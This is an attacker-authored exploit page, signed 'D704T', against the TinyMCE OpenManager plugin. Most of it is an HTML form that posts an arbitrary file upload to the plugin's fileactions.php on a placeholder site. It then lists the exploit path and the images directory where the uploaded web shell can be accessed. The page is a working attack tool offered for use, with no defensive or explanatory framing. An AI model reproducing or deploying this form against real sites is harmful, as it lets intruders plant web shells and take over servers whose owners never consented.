You can watch in video :
https://youtu.be/4p_8NLaBS30
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<!-- Mantod | D704T -->
<!-- youtube : Hekedbay -->
<!-- Tinymce plugins OpenManager CSRF | Arbitrary File Upload -->
<html><head><title>CSRF OpenManager | D704T</title><link href="https://fonts.googleapis.com/css?family=Ubuntu" rel="stylesheet" type="text/css"></head><style>.kntl{width:40%;height:12%;}</style><center><img src="https://1.bp.blogspot.com/-f7KC0K5JJMk/XTKLSMQ5YTI/AAAAAAAAAb8/Y3E0z-oCVc0_--CJc9apIteTe8Z1jOYjQCLcBGAs/s1600/hekedbay.png" class="kntl"><br><br><span style="font: 25px Ubuntu;color:brown;">[ OpenManager ]</span><br><span style="font: 20px Ubuntu;color:black;">| D704T |<br><br>
<form method="post" action="http://site.com/tiny_mce/jscripts/tiny_mce/plugins/openmanager/php/fileactions.php?s=uploadfile" enctype="multipart/form-data">
<input type="file" name="userfile"><input type="hidden" name="mediatype" value="images" /><br><input name="uploadfolder" value="./" placeholder="path_directory"/><input type="submit" value="Upload mzz"/></form></center><br><br><br><br><br><br><left><span style="font: 20px Ubuntu;color:black;">Exploit :<br>/tiny_mce/plugins/openmanager/php/fileactions.php?s=uploadfile<br>Access Shell :<br>/tiny_mce/plugins/openmanager/images/<br><br><br></html>
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D704T